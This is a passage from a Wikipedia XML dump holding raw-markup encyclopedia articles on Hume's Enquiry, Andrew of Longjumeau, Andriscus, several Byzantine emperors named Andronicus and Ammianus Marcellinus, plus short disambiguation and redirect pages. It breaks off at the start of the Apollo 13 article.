# '''Of the association of ideas.''' In this chapter, Hume discusses how thoughts tend to come in sequences, as in trains of thought. He explains that there are at least three kinds of associations between ideas: resemblance, contiguity, and cause-and-effect. He argues that there must be some universal principle that must account for the various sorts of connections that exist between ideas, but does not immediately show what this principle might be.
# '''Skeptical doubts concerning the operations of the understanding (in two parts)'''. In the first part, Hume discusses how the objects of inquiry are either &quot;relations of ideas&quot; or &quot;matters of fact&quot;, which is roughly the distinction between [[analytic proposition|analytic]] and [[synthetic proposition]]s. In part two, Hume inquires into how anyone can justifiably believe that experience yields any conclusions about the world. He shows how a satisfying argument for experience can be based neither on principles (since no principle exists) nor experience (since that would be a [[circular argument]]).
# '''Skeptical solution of these doubts (in two parts).''' For Hume, we assume that experience tells us something about the world because of habit or custom, which human nature forces us to take seriously. This is also, presumably, the principle that organizes the connections between ideas. Indeed, one of the many famous passages of the ''Enquiry'' was on the topic of the incorrigibility of human custom. Hume wrote:''&quot;The great subverter of Pyrrhonism or the excessive principles of skepticism is action, and employment, and the occupations of common life. These principles may flourish and triumph in the schools; where it is, indeed, difficult, if not impossible, to refute them. But as soon as they leave the shade, and by the presence of the real objects, which actuate our passions and sentiments, are put in opposition to the more powerful principles of our nature, they vanish like smoke, and leave the most determined skeptic in the same condition as other mortals.&quot;''
# '''Of probability.'''
# '''Of the idea of necessary connection (in two parts).'''
# '''Of liberty and necessity (in two parts).'''
# '''Of the reason of animals (comparable to man).'''
# '''Of miracles (in two parts).'''
# '''Of a particular providence and of a future state.'''
# '''Of the academical or sceptical philosophy (in three parts).''' The first section of the last chapter is organized as an outline of various skeptical arguments. The treatment includes the arguments of atheism, Cartesian skepticism, &quot;light&quot; skepticism, and rationalist critiques of empiricism. Hume shows that even light skepticism leads to crushing doubts about the world which - while ultimately are more philosophically justifiable - may only be combatted through the non-philosophical adherance to custom or habit. He ends the section with his own reservations towards Cartesian and Lockean epistemologies.

==External links==
*[http://etext.library.adelaide.edu.au/h/h92e/ ebook text]
*{{gutenberg|no=9662|name=An Enquiry Concerning Human Understanding}}

[[Category:1748 books|Enquiry Concerning Human Understanding, An]]
[[Category:Books by David Hume|Enquiry Concerning Human Understanding, An]]
[[Category:Philosophy books|Enquiry Concerning Human Understanding, An]]

{{Scotland-stub}}
{{book-stub}}

[[lv:Pētījums par cilvēka sapratni]]</text>
    </revision>
  </page>
  <page>
    <title>Andrew of Longjumeau</title>
    <id>1758</id>
    <revision>
      <id>39937801</id>
      <timestamp>2006-02-16T23:18:44Z</timestamp>
      <contributor>
        <ip>200.160.81.208</ip>
      </contributor>
      <text xml:space="preserve">'''Andrew of Longjumeau''' (also Longumeau, Lonjumel, etc.) was a [[13th century]] [[France|French]] [[Dominican Order|Dominican]], [[exploration|explorer]] and diplomat.

He accompanied the mission that was sent by [[Pope Innocent IV]] to the [[Mongols]] in [[1247]] under Friar Ascelin or Anselm, which was chronicled by [[Simon of St Quentin]]. At the [[Tatars]]' camp near [[Kars]] he met a certain David, who next year ([[1248]]) appeared at the court of King [[Louis IX of France]] in [[Cyprus]].  Andrew, who was now with Saint Louis, interpreted David's message to the King, a real or pretended offer of alliance from the Mongol general [[Ilchikdai]] (Ilchikadai), and a proposal of a joint attack upon the [[Islam]]ic powers for the conquest of [[Syria]].

In reply to this the French sovereign dispatched Andrew as his ambassador to the great [[Guyuk|Kuyuk Khan]]; with Longjumeau went his brother (a [[monk]]) and several others — John Goderiche, John of Carcassonne, Herbert &quot;Le Sommelier,&quot; Gerbert of Sens, Robert (a clerk), a certain William, and an unnamed clerk of [[Poissy]].

The party set out about [[February 16]], [[1249]], with letters from King Louis and the [[papal legate]], and rich presents, including a chapel-tent, lined with scarlet cloth and embroidered with sacred pictures.  From Cyprus they went to the port of [[Antioch]] in Syria, and thence travelled for a year to the Khan's court, going ten leagues (55.56 kilometers) per day.  Their route led them through [[Iran|Persia]], along the southern and eastern shores of the [[Caspian Sea|Caspian]] (whose inland character, unconnected with the outer ocean, their journey helped to demonstrate), and probably through [[Talas, Kyrgyzstan|Talas]], north-east of [[Tashkent]].

On arrival at the supreme Mongol court — either that on the [[Imyl river]] (near [[Lake Ala-kul]] and the present Russo-Chinese frontier in the [[Altai]]), or more probably at or near [[Karakorum]] itself, south-west of [[Lake Baikal]] — Andrew found Kuyuk Khan dead, poisoned, as the envoy supposed, by [[Batu Khan]]'s agents. The regent-mother [[Ogul Gaimish]] (the &quot;Camus&quot; of [[William of Rubruck]]) seems to have received and dismissed him with presents and a letter for Louis IX, the latter a fine specimen of Mongol insolence.  But it is certain that before the friar had quitted &quot;Tartary&quot; [[Mangu Khan]], Kuyuk's successor, had been elected.

Andrew's report to his sovereign, whom he rejoined in [[1251]] at [[Caesarea Palaestina|Caesarea]] in [[Palestine (region)|Palestine]], appears to have been a mixture of history and fable; the latter affects his narrative of the Mongols' rise to greatness, and the struggles of their leader, evidently [[Genghis Khan]], with [[Prester John]]; it is still more evident in the position assigned to the [[Tatars]] homeland, close to the prison of [[Gog and Magog]].  On the other hand, the envoy's account of Tatar manners is fairly accurate, and his statements about [[Mongolia|Mongol]] Christianity and its prosperity, though perhaps exaggerated (e.g. as to the 800 chapels on wheels in the nomadic host), are based on fact.

Mounds of bones marked his road, witnesses of devastations which other historians record in detail. He found [[Christianity|Christian]] prisoners, from [[Germany]] in the heart of &quot;Tartary&quot; (at Talas), and was compelled to observe the ceremony of passing between two fires, as a bringer of gifts to a dead Khan, gifts which were of course treated by the Mongols as evidence of submission.  This insulting behaviour, and the language of the letter with which Andrew reappeared, marked the mission a failure: King Louis, says [[Jean de Joinville|Joinville]], &quot;''se repenti fort''&quot; (&quot;felt very sorry&quot;).

We only know of Andrew through references in other writers: see especially [[William of Rubruck]]'s in ''Recueil de voyages'', iv. (Paris, 1839), pp. 261, 265, 279, 296, 310, 353, 363, 370; Joinville, ed. Francisque Michel (1858, etc.), pp. 142, etc.; Jean Pierre Sarrasin, in same vol., pp. 254–235; [[William of Nangis]] in ''Recueil des historiens des Gaules'', xx. 359–367; [[Charles de Rémusat|Rémusat]], ''Mémoires sur les relations politiques des princes chrétiens… avec les… Mongols'' (1822, etc.), p. 52.

==See also==
*[[Giovanni da Pian del Carpine]]

==References==
{{1911}}

[[Category:Dominicans|Longjumeau, Andrew of]]
[[Category:French diplomats|Longjumeau, Andrew of]]
[[Category:French explorers|Longjumeau, Andrew of]]
[[Category:Explorers of Asia|Longjumeau, Andrew of]]

[[fr:André de Longjumeau]]</text>
    </revision>
  </page>
  <page>
    <title>Andriscus</title>
    <id>1759</id>
    <revision>
      <id>28108625</id>
      <timestamp>2005-11-12T11:43:57Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Andriscus''', (also spelt Andriskos) often called the &quot;pseudo-Philip,&quot; a fuller of Adramyttium, who claimed to be a son of [[Perseus of Macedon|Perseus]], last king of [[Macedon]]ia.

He occupied the throne for a year ([[149 BC]]-[[148 BC]].) Unable to obtain a following in Macedonia, he applied to [[Demetrius I of Syria|Demetrius Soter of Syria]], who handed him over to the Romans.  He contrived, however, to escape; reappeared in Macedonia with a large body of [[Thracians]]; and, having completely defeated the praetor [[Publius Juventius]] (149), he assumed the title of king.

His conquest of [[Thessaly]] and alliance with [[Carthage]] made the situation dangerous.  Eventually he was defeated by [[Quintus Caecilius Metellus|Q. Caecilius Metellus]] (148), and fled to [[Thrace]], whose prince gave him up to [[Rome]].

He figured in the triumph of Metellus (146), who received the title of &quot;Macedonicus&quot; for his victory.  Andriscus's brief reign was marked by cruelty and extortion. After this Macedonia was formally reduced to a province.

[[Marcus Velleius Paterculus|Velleius Paterculus]] i. 11; [[Florus]] ii. 14; [[Livy]], ''Epit.'' 49, 50, 52; [[Diodorus Siculus|Diod. Sic.]] xxxii. 9.

==References==
*{{1911}}

[[Category:Ancient Roman enemies and allies]]
[[fi:Andriskos]]</text>
    </revision>
  </page>
  <page>
    <title>Andronicus III</title>
    <id>1760</id>
    <revision>
      <id>42042677</id>
      <timestamp>2006-03-03T11:55:28Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''Andronicus III Palaeologus''' (c. [[1296]] - [[June 15]], [[1341]]), [[Byzantine emperor]], was the son of [[Michael IX Palaeologus]] and Princess [[Rita of Armenia]].

His conduct during his youth was so violent that, after the death of his father Michael in [[1320]], his grandfather [[Andronicus II]] resolved to deprive him of his right to the crown.  Andronicus rebelled; he had a powerful party, and the first period of civil war ended in his being crowned and accepted as colleague by his grandfather, [[1325]].  The quarrel broke out again and, notwithstanding the help of the [[Bulgaria]]ns, the older emperor was compelled to abdicate in [[1328]].

His chief minister during this period was John Cantacuzenus, later Emperor [[John VI Cantacuzenus|John VI]].  During his reign Andronicus III was engaged in constant war, chiefly with the [[Ottoman Turks]], who greatly extended their territory, conquering almost all of [[Asia Minor]] before his coming to power. Under Andronicus's rule, [[Nicaea]] fell to [[Ottoman Empire|Ottoman]] [[emir]] [[Orhan I]] in 1331, with [[Nicomedia]] following in 1337. After that, in Asia Minor only Philadelphia and a handful of ports remained under Byzantine control. He annexed large regions in [[Thessaly]] and [[Epirus (region)|Epirus]], but they were lost few years after his death in period of new civil war to the rising power of [[Serbia]] under [[Stefan Dusan]].  Andronicus worked on the reorganization of the navy, and recovered [[Lesbos Island|Lesbos]], [[Phocaea]], and [[Chios]] from the [[Genoa|Genoese]].  He died in [[1341]], and was succeeded by his son, [[John V Palaeologus|John V]].

{{start box}}
{{succession box | before=[[Andronicus II]] | title=[[Byzantine Emperor]] | years=1325&amp;ndash;1341 &lt;br /&gt;''with [[Andronicus II]] in 1325-1328'' | after=[[John V Palaeologus]]}}
{{end box}}

[[Category:1290s births]]
[[Category:1341 deaths]]
[[Category:Palaeologus dynasty]]
[[Category:Byzantine emperors]]

[[de:Andronikos III.]]
[[el:Ανδρόνικος Γ']]
[[es:Andrónico III Paleólogo]]
[[fr:Andronic III Paléologue]]
[[hu:III. Andronikosz]]
[[ja:アンドロニコス3世パレオロゴス]]
[[pl:Andronik III Paleolog]]</text>
    </revision>
  </page>
  <page>
    <title>Andronicus II</title>
    <id>1761</id>
    <revision>
      <id>42042664</id>
      <timestamp>2006-03-03T11:55:17Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''Andronicus II Palaeologus''' ([[1260]] &amp;ndash; [[February 13]], [[1332]]), [[Byzantine emperor]], was the elder son of [[Michael VIII Palaeologus]], whom he succeeded in [[1282]]. He ruled until 1328.

He allowed the fleet, which his father had organized, to fall into decay; and the empire was thus less able than ever to resist the exacting demands of the rival powers of [[Venice]] and [[Genoa]].

During his reign the [[Ottoman Turks]] under [[Osman I|Osman]] conquered nearly the whole of [[Bithynia]]; and to resist them the emperor called in the aid of the [[Catalonia|Catalan]] [[Roger de Flor]], who commanded a body of [[Aragon]]ese and [[Catalonia|Catalan]] adventurers known as [[Almogavars]]. The Turks were defeated, but Roger was found to be nearly as formidable an enemy to the imperial power. He was [[assassination|assassinated]] by Andronicus's son and colleague (sometimes referred to as emperor Michael IX, though he never ruled in his own name), in [[1305]]. His adventurers (known as the [[Catalan Grand Company]] or ''Companyia Catalana'' in [[Catalan language|Catalan]]) declared war upon Andronicus, and, after devastating [[Thrace]] and [[Macedonia (region)|Macedonia]], conquered the [[Duchy of Athens]] and [[Thebes, Greece|Thebes]].

From [[1320]] onwards the emperor was engaged in war with his grandson [[Andronicus III|Andronicus]]. He abdicated in [[1328]] and died in [[1332]].

In [[1274]] he married Anne of Hungary, a daughter of King [[Stephen V of Hungary|Stephen V]], with whom he had two sons:
# [[Michael IX Palaeologus]]
# Constantine  
After she died in [[1281]] Andronicus married a daughter of Wilhelm IX of Montferrat, Yolande, who took the name of Irene and bore him:
# John (c. 1286 - 1308) 
# [[Theodore I of Montferrat|Theodore I, Marquis of Montferrat]] (1291-1338) 
# Demetrius (d. after 1343)
# Simonis (1294 - after 1336) (married King of [[Serbia]] [[Stefan Milutin|Stephen II Urosh Milutin]])
He also had at least two illegitimate daughters:
# Irene, wife of John II despot of [[Thessaly]] 
# Maria, wife of [[Tokhta]] Khan of the [[Golden Horde]]

{{Byzantine Emperor | Prev=[[Michael VIII Palaeologus]] | CoEmperor=with [[Michael IX Palaeologus]]| Next=[[Andronicus III]]}}
==References==
*{{1911}}

[[Category:Palaeologus dynasty]]
[[Category:Byzantine emperors]]
[[Category:1260 births]]
[[Category:1332 deaths]]

[[de:Andronikos II.]]
[[el:Ανδρόνικος Β']]
[[es:Andrónico II Paleólogo]]
[[fr:Andronic II Paléologue]]
[[hu:II. Andronikosz]]
[[ja:アンドロニコス2世パレオロゴス]]
[[pl:Andronik II Paleolog]]
[[zh:安德洛尼卡二世]]</text>
    </revision>
  </page>
  <page>
    <title>Andronicus I Comnenus</title>
    <id>1762</id>
    <revision>
      <id>42042654</id>
      <timestamp>2006-03-03T11:55:08Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">[[Image:ByzantineBillonTrachy.jpg|frame|Billon trachy (a cup-shaped coin) of Andronicus I Comnenus (1183-1185)]]

'''Andronicus I Comnenus''' (c.1118 - September 12th 1185), [[Byzantine Emperors|Byzantine emperor]], son of prince [[Isaac Comnenus (d. 1152)|Isaac Comnenus]], and grandson of [[Alexius I Comnenus|Alexius I Comnenus]], was born about the beginning of the [[12th century]].  His birth has been estimated to c. [[1118]]. He was endowed by nature with the most remarkable gifts both of mind and body.  He was handsome and eloquent, but licentious; and at the same time active, hardy, courageous, a great general and an able politician.

Andronicus' early years were spent in alternate pleasure and military service.  In [[1141]] he was taken captive by the [[Seljuk Turks]] and remained in their hands for a year.  On being ransomed he went to [[Constantinople]], where was held the court of his cousin, the emperor [[Manuel I Comnenus|Manuel]], with whom he was a great favourite.  Here the charms of his niece, the princess Eudoxia, attracted him.  She became his mistress, while her sister Theodora stood in a similar relation to the emperor Manuel.  

In [[1152]], accompanied by Eudoxia, he set out for an important command in [[Cilicia]].  Failing in his principal enterprise, an attack upon [[Mopsuestia]], he returned, but was again appointed to the command of a province.  This second post he seems also to have left after a short interval, for he appeared again in [[Constantinople]], and narrowly escaped death at the hands of the brothers of Eudoxia.  

About this time ([[1153]]) a conspiracy against the emperor, in which Andronicus participated, was discovered and he was thrown into prison.  There he remained for about twelve years, during which time he made repeated but unsuccessful attempts to escape.  At last, in [[1165]], he was successful; and, after passing through many dangers, reached the court of [[Yaroslav]], grand prince of [[Ruthenia]], at [[Kyiv]].  While under the protection of the grand prince, Andronicus brought about an alliance between him and the emperor Manuel, and so restored himself to the emperor's favour.  With a Russian army he joined Manuel in the invasion of [[Hungary]] and assisted at the siege of [[Semlin]].

After a successful campaign Manuel and Andronicus returned together to Constantinople ([[1168]]); but a year after, Andronicus refused to take the oath of allegiance to the prince of Hungary, whom Manuel desired to become his successor.  He was removed from court, but received the province of [[Cilicia]].  

Being still under the displeasure of the emperor, Andronicus fled to the court of [[Raymond of Antioch|Raymond]], [[Principality of Antioch|prince of Antioch]].  While residing here he captivated and seduced the beautiful daughter of the prince, Philippa, sister of the empress [[Maria of Antioch|Maria]].  The anger of the emperor was again roused by this dishonour, and Andronicus was compelled to flee.  

He took refuge with [[Amalric I of Jerusalem]], whose favour he gained, and who invested him with the [[Principality of Galilee|Lordship of Beirut]].  In Jerusalem he saw [[Theodora Comnena|Theodora]], the beautiful widow of the late King [[Baldwin III of Jerusalem|Baldwin III]] and niece of the emperor Manuel.  Although Andronicus was at that time fifty-six years old, age had not diminished his charms, and Theodora became the next victim of his artful seduction.  To avoid the vengeance of the Emperor, she fled with Andronicus to the court of the Sultan of [[Damascus]]; but not deeming themselves safe there, they continued their perilous journey through [[Iran|Persia]] and [[Turkestan]], round the [[Caspian Sea]] and across [[Mount Caucasus]], until at length they settled in the ancestral lands of the Comneni at [[Oinaion]],  on the shores of the [[Black Sea]], between [[Trebizond]] and [[Sinope]]. 

While Andronicus was on one of his incursions, his castle was surprised by the governor of Trebizond, and Theodora with her two children were captured and sent to Constantinople.  To obtain their release Andronicus made abject submission to the Emperor and, appearing in chains before him, implored pardon.  This he obtained, and was allowed to retire with Theodora into banishment at Oinaion.

In [[1180]] the emperor Manuel died, and was succeeded by his son [[Alexius II Comnenus]], who was under the guardianship of the empress Maria.  Her conduct excited popular indignation, and the consequent disorders, amounting almost to civil war, gave an opportunity to the ambition of Andronicus.  He left his retirement in [[1182]], secured the support of the army and marched upon Constantinople, where his advent was stained by a cruel massacre of the Latin inhabitants, which was focused on the [[Venice|Venetian]] merchants who virtually controlled the economy of the city.  Alexius was compelled to acknowledge him as colleague in the empire, but was soon put to death.  

Andronicus, now ([[1183]]) sole emperor, married [[Agnes of France]], widow of Alexius II and a child twelve years of age. Agnes was a daughter of [[Louis VII of France]] and his third wife [[Adèle of Champagne]]. 

His short reign was characterized by strong and wise measures.  He resolved to suppress many abuses, but, above all things, to check [[feudalism]] and limit the power of the nobles.  The people, who felt the severity of his laws, at the same time acknowledged their justice, and found themselves protected from the rapacity of their superiors.  The aristocrats, however, were infuriated against him, and summoned to their aid [[William II of Sicily]].  This prince landed in [[Despotate of Epirus|Epirus]] with a strong force, and marched as far as [[Thessalonica]], which he took and destroyed; but he was shortly afterwards defeated, and compelled to return to [[Sicily]].

Andronicus seems then to have resolved to exterminate the aristocracy, and his plans were nearly crowned with success.  But in [[1185]], during his absence from the capital, his lieutenant ordered the arrest and execution of [[Isaac II Angelus|Isaac Angelus]], a descendant of the first Alexius.  Isaac escaped and took refuge in the church of [[Hagia Sophia]].  He appealed to the populace, and a tumult arose which spread rapidly over the whole city.  When Andronicus arrived he found that his power was overthrown, and that Isaac had been proclaimed emperor.  Isaac delivered him over to his enemies, and for three days he was exposed to their fury and resentment. His punishments included flogging, being tied to the back of a sick camel and having boiling water thrown in his face. At last they hung him up by the feet between two pillars.  His dying agonies were shortened by an [[Italy|Italian]] soldier, who mercifully plunged a sword into his body.  He died on [[September 12]], 1185.  Andronicus was the last of the [[Comnenus|Comneni]] to rule Constantinople, although his grandsons [[Alexius I of Trebizond]] and his brother [[David (co-emperorof Trebizond)|David]] founded the [[Empire of Trebizond]] in [[1204]].

== External links ==
{{Commons|Andronicus I Comnenus}}


{{Byzantine Emperor | Prev=[[Alexius II Comnenus]] | CoEmperor= | Next=[[Isaac II Angelus]]}}

[[Category:1118 births]]
[[Category:1185 deaths]]
[[Category:Comnenid dynasty]]
[[Category:Byzantine emperors]]
[[Category:Crusades]]

[[de:Andronikos I. (Byzanz)]]
[[el:Ανδρόνικος Α']]
[[es:Andrónico I Comneno]]
[[eo:Androniko la 1-a]]
[[fr:Andronic Ier Comnène]]
[[hu:I. Andronikosz]]
[[ja:アンドロニコス1世コムネノス]]
[[pl:Andronik I Komnen]]</text>
    </revision>
  </page>
  <page>
    <title>Andronicus of Cyrrhus</title>
    <id>1763</id>
    <revision>
      <id>28106208</id>
      <timestamp>2005-11-12T10:49:03Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Andronicus of Cyrrhus''' was a [[Greece|Greek]] [[astronomer]] who flourished about 100 BC.

He built a [[horologium]] at [[Athens]], the so-called [[Tower of the Winds]], a considerable portion of which still exists. It is octagonal, with figures carved on each side, representing the eight principal winds. In antiquity a bronze figure of [[Triton (god)|Triton]] on the summit, with a rod in his hand, turned round by the wind, pointed to the quarter from which it blew. From this model is derived the custom of placing weathercocks on steeples.

==References==
*{{1911}}

[[Category:Greek and Roman astronomers]]

[[sl:Andronik]]</text>
    </revision>
  </page>
  <page>
    <title>Andronicus of Rhodes</title>
    <id>1764</id>
    <revision>
      <id>28106223</id>
      <timestamp>2005-11-12T10:49:23Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Andronicus of Rhodes''' (c. 70 B.C.), was the eleventh scholarch 
of the [[Peripatetics]].  His chief work was the arrangement of 
the writings of [[Aristotle]] and [[Theophrastus]] with materials 
supplied to him by [[Tyrannion]]. Before his time, Aristotle's dialogues were widely known, but his treatises had been lost in obscurity.  Besides arranging the works, 
he seems to have written paraphrases and commentaries, none 
of which is extant.  Two treatises are sometimes erroneously 
attributed to him, one on the Emotions, the other a commentary 
on Aristotle's Ethics (really by Constantine Palaeocappa 
in the 16th century, or by John Callistus of Thessalonica).

==References==
*{{1911}}

[[hu:rhodoszi Andronikosz]]
[[fi:Andronikos Rhodoslainen]]</text>
    </revision>
  </page>
  <page>
    <title>Andronicus</title>
    <id>1765</id>
    <revision>
      <id>21539173</id>
      <timestamp>2005-08-22T01:33:41Z</timestamp>
      <contributor>
        <username>Pumpie</username>
        <id>22949</id>
      </contributor>
      <minor />
      <comment>de &amp; el</comment>
      <text xml:space="preserve">The name '''Andronicus''' refers to several people:

* [[Livius Andronicus]] ([[284 BC|284?]]&amp;ndash;[[204 BC]]) &amp;mdash; introduced [[drama]] to the Romans and produced the first formal play in Latin in c. [[240 BC]]
*[[Andronicus of Cyrrhus]] &amp;mdash; [[Greece|Greek]] [[astronomer]] (c. [[100 BC]])
*[[Andronicus of Rhodes]] (c. [[70 BC]]) 
*[[Andronicus]], an early Christian mentioned in Romans 16
*Four [[Byzantine Emperors]]:
**[[Andronicus I Comnenus]] ([[1118]]&amp;ndash;[[1185]])
**[[Andronicus II]] Palaeologus ([[1258]]&amp;ndash;[[1332]])
**[[Andronicus III]] Palaeologus ([[1297]]&amp;ndash;[[1341]])
**[[Andronicus IV]] Palaeologus ([[1348]]&amp;ndash;[[1385]])
*Three [[Empire of Trebizond|Emperors of Trebizond]]:
**[[Andronicus I of Trebizond|Andronicus I Gidus Comnenus]] ([[1222]]&amp;ndash;[[1235]])
**[[Andronicus II of Trebizond|Andronicus II Comnenus]] ([[1263]]&amp;ndash;[[1266]])
**[[Andronicus III of Trebizond|Andronicus III Comnenus]] ([[1330]]&amp;ndash;[[1332]])
*[[Titus Andronicus]] &amp;mdash; main character in the play of the same name by [[William Shakespeare]], possibly named after one of the above-listed emperors

{{disambig}}

[[de:Andronikos]]
[[el:Ανδρόνικος]]
[[hu:Andronikosz]]
[[pl:Andronik]]</text>
    </revision>
  </page>
  <page>
    <title>Asteroid Belt</title>
    <id>1766</id>
    <revision>
      <id>15900231</id>
      <timestamp>2002-09-03T22:11:27Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>changing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Asteroid belt]]</text>
    </revision>
  </page>
  <page>
    <title>Ammianus Marcellinus</title>
    <id>1767</id>
    <revision>
      <id>36166738</id>
      <timestamp>2006-01-22T02:55:21Z</timestamp>
      <contributor>
        <username>GBWallenstein</username>
        <id>607387</id>
      </contributor>
      <comment>/* External link */ link to the Latin Library</comment>
      <text xml:space="preserve">'''Ammianus Marcellinus''' was a [[Roman Empire|Roman]] historian who wrote during [[Late Antiquity]].

He was born about [[325]]&amp;#8209;[[330]], probably at [[Antioch]] (the probability hinges on whether he was the recipient of a surviving letter to a Marcellinus from a fellow citizen of Antioch). The date of his death is unknown, but he must have lived till [[391]], as he mentions [[Aurelius Victor]] as the city [[prefect]] for that year. The surviving books of his valuable history cover the years [[353]]&amp;#8209;[[378]]; the work is sometimes referred to by a Latin title as ''Res Gestae'', a usage best avoided, however, since it leads to confusion with the ''[[Res Gestae Divi Augusti]]''.

He was &quot;a [[soldier]] and a [[Greek people|Greek]]&quot; he tells us, and his enrollment among the elite ''protectores domestici'' (household guards) shows that he was of noble birth. He entered the army at an early age, when [[Constantius II]] was emperor of the East, and was sent to serve under [[Ursicinus]], governor of [[Nisibis]] in [[Roman Mesopotamia]], and ''magister militiae.''  

He returned to Italy with Ursicinus, when he was recalled by Constantius, and accompanied him on the expedition against [[Silvanus the Frank]], who had been forced by the unjust accusations of his enemies into proclaiming himself emperor in [[Gaul]]. With Ursicinus he went twice to the East, and barely escaped with his life from Amida or Amid (modern [[Diyarbakir]]), when it was taken by the Persian king [[Shapur II of Persia|Shapur II]].  When Ursicinus lost his office and the favour of Constantius, Ammianus seems to have shared his downfall; but under [[Julian the Apostate]], Constantius's successor, he regained his position. He accompanied this emperor, for whom he expresses enthusiastic admiration, in his campaigns against the [[Alamanni]] and the [[Sassanid dynasty|Persians]]; after his death he took part in the retreat of [[Jovian]] as far as Antioch, where he was residing when the conspiracy of [[Theodorus]] ([[371]]) was discovered and cruelly put down.  

Eventually he settled in Rome, where, at an advanced age, he wrote (in Latin) a history of the Roman empire from the accession of [[Nerva]] ([[96]]) to the death of [[Valens]] at the [[Battle of Adrianople (378)|Battle of Adrianople]] ([[378]]), thus forming a continuation of the work of [[Gaius Cornelius Tacitus|Tacitus]]. This history (''Res Gestae Libri XXXI'') was originally in thirty-one books, but the first thirteen are lost. The surviving eighteen books cover the period from [[353]] to 378. As a whole it has been considered extremely valuable, being a clear, comprehensive and impartial account of events by a contemporary of soldierly honesty, independent judgement and wide reading. Recent studies have, however, shown the [[rhetoric]]al power in his histories. Like all ancient historians, he did not even attempt to produce a history in the modern style: he had a strong political and pagan religious agenda to pursue, and he contrasted Constantius II with Julian to the former's constant disadvantage.

[[Edward Gibbon]] judged Ammianus as &quot;an accurate and faithful guide, who composed the history of his own times without indulging the prejudices and passions which usually affect the mind of a contemporary.&quot; Ammianus was a [[paganism|pagan]], and when he marginalises [[Christianity]] repeatedly in his account, we are reminded that making Christianity the state religion did not make all Romans Christians. His style is generally harsh, often pompous and extremely obscure, occasionally even journalistic in tone, but the author's foreign origin and his military life and training partially explain this.  

Further, the work being intended for public recitation, some rhetorical embellishment was necessary, even at the cost of simplicity. It is a striking fact that Ammianus, though a professional soldier, gives excellent pictures of social and economic problems, and in his attitude to the non-Roman peoples of the empire he is far more broad-minded than writers like [[Livy]] and Tacitus; his digressions on the various countries he had visited are particularly interesting.  

In his description of the Empire &amp;mdash;the exhaustion produced by excessive taxation, the financial ruin of the middle classes, the progressive decline in the morale of the army&amp;mdash; we find the explanation of its fall before the [[Goths]] twenty years after his death.

==Reference==
Latin text and facing English translation commonly available in the [[Loeb Classical Library]], 1935&amp;#8209;1940 with many reprintings.

==External links==
*[http://odur.let.rug.nl/~drijvers/ammianus/index.htm Ammianus Marcellinus on-line project]
*[http://www.thelatinlibrary.com/ammianus.html Ammianus Marcellinus' works] in Latin at the Latin Library

==References==
*{{1911}}

[[Category:Roman era historians]]
[[Category:Late Antique writers]]
[[Category:Ancient Roman soldiers]]

[[bg:Амиан Марцелин]]
[[de:Ammianus Marcellinus]]
[[es:Amiano Marcelino]]
[[fr:Ammien Marcellin]]
[[gl:Ammiano Marcelino]]
[[it:Ammiano Marcellino]]
[[hu:Ammianus Marcellinus]]
[[nl:Ammianus Marcellinus]]
[[pl:Ammianus Marcellinus]]
[[pt:Ammiano Marcellino]]
[[ru:Аммиан Марцеллин]]
[[fi:Ammianus Marcellinus]]</text>
    </revision>
  </page>
  <page>
    <title>ALICE</title>
    <id>1768</id>
    <revision>
      <id>41144813</id>
      <timestamp>2006-02-25T09:01:45Z</timestamp>
      <contributor>
        <ip>84.58.14.205</ip>
      </contributor>
      <text xml:space="preserve">'''ALICE''' may stand for:
*[[A Large Ion Collider Experiment]], a high energy heavy ion- and particle physics experiment at the European Center for Nuclear Research CERN's Large Hadron Collider LHC
*[[All-purpose Lightweight Individual Carrying Equipment]], a package of load-bearing equipment utilized by the United States Armed Forces
*[[Artificial Linguistic Internet Computer Entity]], a natural language processing chatterbot
==See also==
*[[Alice]]
{{disambig}}
[[Category:5-letter acronyms]]
[[pl:ALICE]]</text>
    </revision>
  </page>
  <page>
    <title>An Enquiry Concerning Human Understanding/Text</title>
    <id>1769</id>
    <revision>
      <id>15900234</id>
      <timestamp>2002-06-21T23:53:36Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>no need to have this in a separate subspace any more</comment>
      <text xml:space="preserve">#REDIRECT [[An Enquiry Concerning Human Understanding]]</text>
    </revision>
  </page>
  <page>
    <title>Apollo 13</title>
    <id>1770</id>
    <revision>
      <id>42105272</id>
      <timestamp>2006-03-03T21:34:43Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>No overlap visible here.  If it persists on other borwsers insert {{subst:clear}}</comment>
      <text xml:space="preserve">:''This article is about the Moon mission. There is also a ''[[Apollo 13 (film)|''film by the name of ''Apollo 13]]''.''
{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; style=&quot;float: right; margin: 0 0 1em 1em; width: 20em; border-collapse: collapse; font-size: 95%; clear: right;&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Apollo 13'''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;9&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Ap13.jpg|200px|Apollo 13 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission name:'''||Apollo 13
|-
